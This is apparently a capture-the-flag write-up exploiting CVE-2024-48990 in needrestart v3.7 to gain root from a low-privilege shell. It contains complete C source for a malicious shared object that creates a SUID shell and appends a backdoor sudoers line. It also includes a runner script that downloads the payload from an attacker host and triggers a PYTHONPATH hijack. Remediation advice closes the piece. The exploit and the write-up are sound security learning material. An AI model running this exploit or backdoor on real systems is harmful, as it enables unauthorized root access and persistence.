Some sudo rules look boring by design. needrestart exists to tell you which services need restarting after a library update — it’s the kind of utility nobody thinks to lock down because it doesn’t look like it does anything dangerous. That’s exactly what made CVE-2024-48990 interesting: the vulnerability wasn’t in what needrestart lets you run, it was in how it decides what to inspect.
The Setup
I had a shell as a low-privilege user, fismathack, on a box called conversor. A quick sudo check showed something worth investigating:
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:/tmp$ /usr/sbin/needrestart -v
[main] needrestart v3.7

needrestart v3.7 — vulnerable to CVE-2024-48990, one of a batch of local privilege escalation bugs Qualys disclosed in needrestart’s interpreter-scanning logic.
Why needrestart v3.7 Is Exploitable
needrestart’s job is to scan running processes, figure out which ones are using outdated versions of shared libraries or interpreters, and flag them for a restart. To do that for scripting languages, it inspects a running process’s environment — including variables like PYTHONPATH — to work out how to re-invoke that interpreter and check its version.
The bug is that needrestart trusts environment variables it reads out of another process’s context without stripping the ones that control module loading. If an attacker controls a process with a malicious PYTHONPATH pointing at an attacker-writable directory, and needrestart (running as root via the sudo rule, or as part of its normal root-owned service scan) re-invokes a Python interpreter using that same environment to perform its version check, Python will happily import modules from the attacker’s directory first — as root.
That’s the whole bug: a root-privileged process reusing an untrusted PYTHONPATH to decide what code to load.
Exploitation
Step 1 — Build the malicious shared object
The payload is a shared object disguised as a Python package’s compiled extension module, using a GCC constructor so it runs the instant it’s loaded — no function call required:
/* lib.c - malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
/* Runs automatically when the library is loaded, before any Python code executes */
static void a() __attribute__((constructor));
void a() {
if (geteuid() == 0) {
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
system(shell);
}
}
Compiled and named to match the module Python looks up first:
gcc -shared -fPIC -o __init__.so lib.c
Placed under malicious/importlib/__init__.so, this becomes a fake importlib package. When PYTHONPATH points at the malicious directory, any script that runs import importlib loads this .so first instead of the real standard-library module — and the constructor fires immediately, as whatever UID the importing process is running as.
Step 2 — Host the payload
python3 -m http.server 8000

Step 3 — Stage the bait on the target
runner.sh sets up the directory structure, pulls down the compiled .so, and starts a small Python loop that waits for the payload to fire:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
curl http://10.10.16.44:8000/__init__.so -o /tmp/malicious/importlib/__init__.so
cat << 'EOF' > /tmp/malicious/e.py
import time
import os
while True:
try:
import importlib
except:
pass
if os.path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
os.system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
fismathack@conversor:/tmp$ ./runner.sh
Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell.

That bait loop just sits there, importing importlib repeatedly under a PYTHONPATH that shadows it, waiting for /tmp/poc to appear.
Step 4 — Trigger needrestart
In a second shell:
fismathack@conversor:/tmp$ sudo /usr/sbin/needrestart
Scanning processes...
Scanning candidates...

While scanning running processes for outdated interpreters, needrestart (root) encounters the bait Python process, reuses its PYTHONPATH-influenced environment to check the interpreter, and re-triggers the import importlib path — except this time it resolves against the hijacked __init__.so while running as root. The constructor fires immediately.
Step 5 — Catch the shell
Got shell!, delete traces in /tmp/poc, /tmp/malicious
whoami
root
cd /root
cat root.txt
1e2a670b6d3d3ef0f19ff47f467fb61d

Root, confirmed.
Why This Works
Three things line up to make this exploitable:
- Environment trust boundary violation — needrestart, running as root, reuses environment variables (
PYTHONPATH) taken from a lower-privileged process it’s scanning, without sanitizing them first. - Python’s module resolution order — Python searches
PYTHONPATHdirectories before the standard library path for a package namedimportlib, so a same-named malicious package wins. - Constructor execution — the payload doesn’t need to be explicitly called. A GCC
__attribute__((constructor))function runs the moment the shared object is loaded into the process, so simply importing the poisoned module is enough to execute code — as whatever user loaded it. When that user is root, game over.
The /tmp/poc SUID copy of /bin/sh plus the sudoers backdoor line exist purely as a stable way to re-enter root afterward without repeating the whole chain.
Root Cause
needrestart versions up to 3.7 pass unsanitized environment variables from a scanned process into a new interpreter invocation used purely for a version check — a classic case of trusting environment data that crosses a privilege boundary.
Fix: Upgrade needrestart to a patched version and remove any blanket NOPASSWD sudo rule for it.
sudo apt update && sudo apt install --only-upgrade needrestart
If needrestart must be run via sudo, scope the rule as tightly as possible rather than granting (ALL : ALL) NOPASSWD, and audit which interpreters it’s permitted to scan.
Key Takeaways
- Always check the version of anything you’re granted NOPASSWD sudo access to — a boring-sounding utility can carry a real CVE
- Environment variables like
PYTHONPATH,RUBYLIB, andLD_PRELOADare dangerous the moment they cross from an untrusted process into a privileged one - A GCC constructor (
__attribute__((constructor))) means a malicious shared object executes on load — no explicit function call needed, which makes module-hijacking attacks like this one trivial to trigger - Patch management matters even for “helper” utilities that only exist to manage restarts — CVE-2024-48990 turned a maintenance tool into a root shell
Questions? Hit me up on X.